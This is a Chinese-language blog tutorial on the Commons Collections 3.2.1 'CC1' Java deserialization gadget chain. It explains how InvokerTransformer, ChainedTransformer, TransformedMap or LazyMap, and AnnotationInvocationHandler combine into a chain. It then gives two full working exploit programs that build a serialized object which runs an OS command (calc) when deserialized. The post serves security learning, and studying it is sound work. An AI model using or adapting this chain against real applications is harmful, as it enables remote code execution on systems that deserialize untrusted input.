commons collections 1反序列化链学习

commons collections 1反序列化链学习

目录

commons collections是一个对Java标准的集合框架,有Apache维护,不过3.0版本的commons collections已经不再维护了

本次使用的环境是

Java_1.8u65

Commons-Collections3.2.1

Java是通过第三方网站下载

OpenJdk的源码

Commons-Collections则是直接使用Maven安装即可:

<dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>

有意思的是当你使用IDEA安装这个CC的时候人家会告诉你这个库存在漏洞,并且给出漏洞的CVE编号。

思路

反序列化通常开始于readObject()方法,这个方法定义在ObjectInputStream 类中,用来从一个字节流来生成一个实例对象

readObject方法可以被重写,

当我们所要生成的类中含有一个readObject方法的时候,则会自动调用这个readObject方法从而达到代码执行的目的。

通过一系列不同类但同名方法链接,从而执行到最终可以任意代码执行的类中。

同名不同类方法一般有有很多思路,例如使用Object类的方法,这些可能被重写,但肯定都在,另一个思路就是使用实现某接口的类,这些类都有接口所要求的方法。

Transformer接口

由上面的分析,我们这次从一个接口Transformer开始,这个Transformer接口就如同名字一样,是用来做转换类型,值的转换的。

这个接口也很简单,只需要实现一个transform方法即可:

这个方法接受一个Object对象,返回一个Object对象,十分宽泛。

看一下这个接口的实现类有哪些:

InvokerTransformer

首先要介绍的就是InvokerTransformer类,如同名字一样,这个类可以进行任意函数调用

看一下这个类的transform方法:

这个方法要做的就是调用传入类的一个方法并执行返回结果,

通过查看构造器可以很明显的看出,需要调用的方法都是可控的,也就是说这个类可以进行任意方法的调用。

ChainedTransformer

接下来要介绍的时ChainedTransformer类,看一下这个类的transform方法:

这个方法是传入一个Object对象,进行一个循环调用iTransformerstransform,将结果的Object作为下一次传入的Object。

通过查看构造器可以看出,这个iTransformers是可控的

ConstantTransformer

这是这次介绍的最后一个类,这个类十分简单:

构造器就是传入一个iConstant参数,transform调用的时候,不论传入一个什么对象,最后都返回这个这个实现设置好的iConstant参数。

思路过程

下面会将整个链子分成几个部分,纯属个人行为。

0x00第一部分

我们先写一个简单的Runtime来弹计算器

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");

下面用InvokerTransformr类进行执行

Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec1.transform(runtime);

现在我们就需要找一个能够触发transform方法的地方,从而来进行命令执行

通过Alt+F7来寻找方法的调用:

看到在CC库中调用最多的是collections包和map

这里可以分析LazyMap类或者TransformedMap类,这里我们就看TransformedMap

最后我们注意到TransformedMap类下,一个比较好调用的方法checkSetValue方法

可以猜出这个方法可能和setValue方法有关,而setValue又是一个较为普遍存在的方法,所以我们先研究下这个方法。

全局追踪这个checkSetValue方法:

可以发现仅有一个地方调用了checkSetValue,也就是我们事先猜想的setValue方法。

我们看一下这唯一调用 checkSetValue方法的setValue方法所在的类 AbstractInputCheckedMapDecorator 正是之前存在checkSetValue方法所在类TransformedMap的父类

那就说明 TransformedMap继承了父类的 checkSetvalue方法

查看TransformedMap类的构造器:

构造器被保护,但是可以看出是可以对我们需要的valueTransformer属性进行初始化

而构造器是由一个decorate静态方法调用,也就是说这个类是可控的。

到此问题就发送了变化,从之前的触发transform方法变成了触发setValue方法

完成第一部分的链子

  1. 新建一个TransforedMap

    TransforedMap类需要一个Map对象,和两个实现Transformer接口的对象:

    HashMap hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map map = TransformedMap.decorate(hashMap,null,exec1);
    

    这里使用了HashMap类创建Map对象,接着将实现transform方法的对象传入

  2. 简单写一个for循环检测一下能否成功触发计算器:

    for (Map.Entry entry :map.entrySet()) {
                entry.setValue(runtime);
    }

    经过测试是完全没有问题的,到此第一步就完成了

0x01第二部分

我们回到之前的地方,需要我们触发setValue方法
我们全局搜索能够触发setValue方法的地方:

找到了一个绝杀的地方,就是在readObject中触发setValue方法,如果这个setValue方法参数可控,就意味着rce了

下面进入这个方法中进行查看:

可以看出人家的写法和我们触发setValue的写法不同, 其中传入的对象不可控,并且还有几个if判断

再看构造器

可以看出对传入的对象是直接赋值的,不过这个类连同构造器都是默认的default类型,只能通过反射创建

再回到readObject方法中重新捋一捋思路:

可以看出它是将传入的注解类型进行了实例化,然后取了其中的值存到memberTypes

接着在for循环中,将默认传入的Map进行遍历,取出map中的key,然后再注解中进行查找,如果查找成功就执行第一个if,第二个是判断可不可以转换,肯定不可以,也通过。

到此我们就找到了绕过if的方法: 传入一个注解,这个注解中含有一个变量,这个变量名需要在传入Map的key中

开始继续写链子:

首先就是这个AnnotationInvocationHandler类需要使用反射的方法获取

然后取出构造器才能实例化:

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHcon = c.getDeclaredConstructor((Class<?>) Class.class, Map.class);
AIHcon.setAccessible(true);

现在就需要考虑传入什么参数来创建,这里我们选用Target元注解,因为这个注解中存在一个值value:

我们将用来创建 TransformedMap的hashMap添加一个value的值:

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);

然后就可以愉快的创建 AnnotationInvocationHandler对象了

Object O = AIHcon.newInstance(Target.class,map);

剩下的就是反序列化这个O了,链子就算是找完了,但是到此这个链子仍然不能使用。

0x02第三部分

这部分就是为了修复之前链子存在的问题:

  1. Runtime类不支持序列化操作,需要改写
  2. setValue方法的传入参数不可控,需要绕过

我们先看第一个问题,Runtime类的改写,虽然Runtime不支持序列化,但是Class类支持呀,我们完全可以通过反射类创建一个Runtime

Runtime改写

众所周知,Runtime是一个单例模式,所以不需要调用人家构造器,直接使用getRuntime类就可以了,所以我们只需要两个方法,一个是getRuntime方法,一个是exec方法就可以触发exec

Class runtimeClass = Runtime.class;
Method runtimeMethod =  runtimeClass.getMethod("getRuntime",null);
Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
Method exec1 = runtimeClass.getMethod("exec", String.class);

之后只需要使用

exec1.invoke(runtime,"calc");

就可以弹计算器

但是放到这个题里,我们就需要进一步进行改写,是将其中的函数调用用InvokeTransform实现。

对上面的反射rec进行分析,可以发现其实是一多个方法嵌套执行的结果,所需要的方法就三个:调用getMethod方法获取getRuntime;然后执行getRuntime得到Runtime类;然后对结果Runtime类调用exec方法达到任意命令执行。

将以上三个步骤的方法用InvokeTransform实现:

//getMethod
InvokerTransformer getMethod1 = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
//invoke
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null});
//exec
InvokerTransformer exec2 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

最后的调用语句就是:

exec2.transform(invoke.transform(getMethod1.transform(Runtime.class)));

连环嵌套,有点链子的感觉了

可以看出依旧是触发transform方法,就是复杂度提升了。

ChainedTransformer简化序列化链

这时候就需要用到我们开头介绍的ChainedTransformer类了。

这个类是用来连环执行transform的,将第一次的结果当作下一个接口的参数输入,然后得到的结果重复上面的操作。

创建一个Transformer数组,然后将上面的反序列化链传入其中:

Transformer[] TrransFormers={
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

创建ChainedTransformer对象并传入数据

ChainedTransformer chainedTransformer = new ChainedTransformer(TrransFormers);

那么现在触发反序列化就变得简单了:

chainedTransformer.transform(Runtime.class);

setValue方法绕过

回到开头提出的那个问题,setValue传入的参数无法控制怎么办,使用我们开头提供的ConstantTransformer方法就可以绕过了,这时候我们就可以将传入参数变成从类中传入了,就解决了上面的问题。

修改方法也是十分简单,只需要在TrransFormers数组中加入ConstantTransformer类即可,完整的TrransFormers

Transformer[] TrransFormers={
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

这时候不论传入什么参数都可以执行命令

最后我们只需要将准备好的chainedTransformer对象传入TransformedMap.decorate方法中,再接着传入AnnotationInvocationHandler中,然后将结果序列化后就可以完成操作了。

附上完整的exp:

package org.Payload.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        //用反射重写Runtime
        Class runtimeClass = Runtime.class;
        Method runtimeMethod =  runtimeClass.getMethod("getRuntime",null);
        Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
        Method exec1 = runtimeClass.getMethod("exec", String.class);

        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //exec.transform(runtime);

        //用InvokerTransformer封装Runtime
        //getMethod
        InvokerTransformer getMethod1 = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
        //invoke

        InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null});
        //exec

        InvokerTransformer exec2 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        //使用ChainedTransformer改写

        Transformer[] TrransFormers={
                new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TrransFormers);
        //chainedTransformer.transform(null);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AIHcon = c.getDeclaredConstructor((Class<?>) Class.class, Map.class);
        AIHcon.setAccessible(true);
        Object O = AIHcon.newInstance(Target.class,map);//O就是最后需要序列化的对象
        serialzie(O);//这个序列化需要自己封装
        unserialize();//反序列化也需要自己封装

    }
}
public static void serialzie(Object O) throws IOException {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC1.bin"));
            objectOutputStream.writeObject(O);

        }
        public static void unserialize() throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC1.bin"));
            objectInputStream.readObject();
    }

0x03 ysoserial链

这条链不同于ysoserial中的链,在调用transform方法时,上面是使用了TransformedMap类,ysoserial中使用的是LazyMap类。

里面是get方法触发transform方法:

用的懒汉式的设计模式,上面也写的很清楚,当不存在这个键的时候就通过transform方法来创建并且赋值

这里我们就直接使用最终的chainedTransformer,触发它的transform即可rce。

在什么地方找这个get呢,地方有很多,我们按照人家给的链子来看就是使用了我们了老朋友AnnotationInvocationHandler类,不过这次不再仅仅是使用这个类的readObject方法,而是调用invoke方法,源码如下:

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

通过名字AnnotationInvocationHandler以及人家继承了InvocationHandler接口实现了invoke方法可以看出,这个类是一个注解的动态代理执行方法,也就是说当一个接口被执行的时候就会触发这个invoke方法。

通过源码我们发现,这些调用的方法不能是equals toString hashCode annotationType

那么接下来的问题就变成了寻找一个用来触发invoke的接口,并且使用readObject来调用。

这部分也是我觉得这个链最巧妙的地方,人家依旧是使用了AnnotationInvocationHandler类,这个类中的readObject是有一步使用了**entrySet()方法,而这个方法是在Map**接口中的

那么自然而然,思路就变成了我们创建一个AnnotationInvocationHandler类反序列化(用来触发entrySet ),然后其中的memberValues (就是我们传入需要调用get的对象)是一个用AnnotationInvocationHandler执行方法代理了Map接口的LazyMap动态代理对象。

当调用这个对象的时候就会触发get,然后命令执行。

代码如下:

获取AnnotationInvocationHandler的构造器

//首先先通过反射获取这个类
Class annotionIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor annotionIHConstructor =  annotionIH.getDeclaredConstructor(
                (Class<?>) Class.class, Map.class);
//提供权限
annotionIHConstructor.setAccessible(true);

先生成一个动态代理执行函数,并代理LazyMap的Map接口:

InvocationHandler h = (InvocationHandler) annotionIHConstructor.newInstance(Override.class,lazyMap);

Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
                LazyMap.class.getInterfaces(),h);

接着在此使用构造器来生成AnnotationInvocationHandler对象

Object O = annotionIHConstructor.newInstance(Override.class,map);

之后序列化这个O即可。

最终代码:

package org.Payload.CC1;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.omg.CORBA.portable.InvokeHandler;

import java.io.IOException;
import java.lang.invoke.LambdaConversionException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1LazyMap2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
        ChainedTransformer chainedTransformer = new Util().chainedTransformer();
        //chainedTransformer.transform(null);

        //创建LazyMap函数,LazyMap的get方法会触发transform方法,
//        public Object get(Object key) {
//            // create value for key if key is not currently in the map
//            if (map.containsKey(key) == false) {
//                Object value = factory.transform(key);
//                map.put(key, value);
//                return value;
//            }
//            return map.get(key);
//        }
        //可以看出这个transform只会触发一次,第二次就直接返回值了。
        HashMap<Object, Object> hashMap = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
        //如何触发lazyMap的get方法呢
        //只需要执行对应get方法即可,不需要控制get的参数
        //cc1中还是使用AnnotationInvocationHandler这个方法,不过这个是真真的使用这个类。

        //首先先通过反射获取这个类
        Class annotionIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获取构造器
        Constructor annotionIHConstructor =  annotionIH.getDeclaredConstructor(
                (Class<?>) Class.class, Map.class);
        annotionIHConstructor.setAccessible(true);

        //现在要如何触发这个get呢,AnnotationInvocationHandler是注解的一个动态代理执行方法,所以我们查看invoke方法:
//        String member = method.getName();
//        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
//        if (member.equals("equals") && paramTypes.length == 1 &&
//                paramTypes[0] == Object.class)
//            return equalsImpl(args[0]);
//        if (paramTypes.length != 0)
//            throw new AssertionError("Too many parameters for an annotation method");
//
//        switch(member) {
//            case "toString":
//                return toStringImpl();
//            case "hashCode":
//                return hashCodeImpl();
//            case "annotationType":
//                return type;
//        }
//
//        // Handle annotation member accessors
//        Object result = memberValues.get(member);
        //可以看出只需要除了人家要求的几个特别方法会被执行到其他地方,最后会执行get操作,

        //创建一个AnnotationInvocationHandler类的代理执行函数:
        //传入的对象注解Class类随便填,第二个map需要传入Lazymap,因为最后需要执行它的get方法
        InvocationHandler h = (InvocationHandler) annotionIHConstructor.newInstance(Override.class,
                lazyMap);
        //下面就需要找个动态代理,然后让他触发执行函数中的invoke函数,
        //我们需要使用那个接口来完成这个操作呢,作者给出的是Map接口//的readObject方法,接着触发entrySet方法,这个方法是存在在Map接口中

        Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
                LazyMap.class.getInterfaces(),h);
        //现在只需要调用这个Map类中的任意方法,就会触发invoke方法,当然得是invoke中事先排除的哪些
        //这里有意思的是仍然使用了AnnotationInvocationHandler这个方法,然后调用
        //readObject方法,接着触发entrySet方法,这个方法是存在在Map接口中
        //新建一个AnnotationInvocationHandler方法
        Object O = annotionIHConstructor.newInstance(Override.class,map);

        Util.serialzie(O,"CC1.bin");//重写的工具类

        Util.unserialize("CC1.bin");//重写的工具类

    }

}

这个链子在创建了Map动态代理后感觉可以寻找的范围就变大了,只需要能在readObject中触发Map中常见的几个特定方法就可以触发这个漏洞,但是作者巧妙的是它最后在此利用了这个类进行触发操作,这也是这个链子有意思的地方之一。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇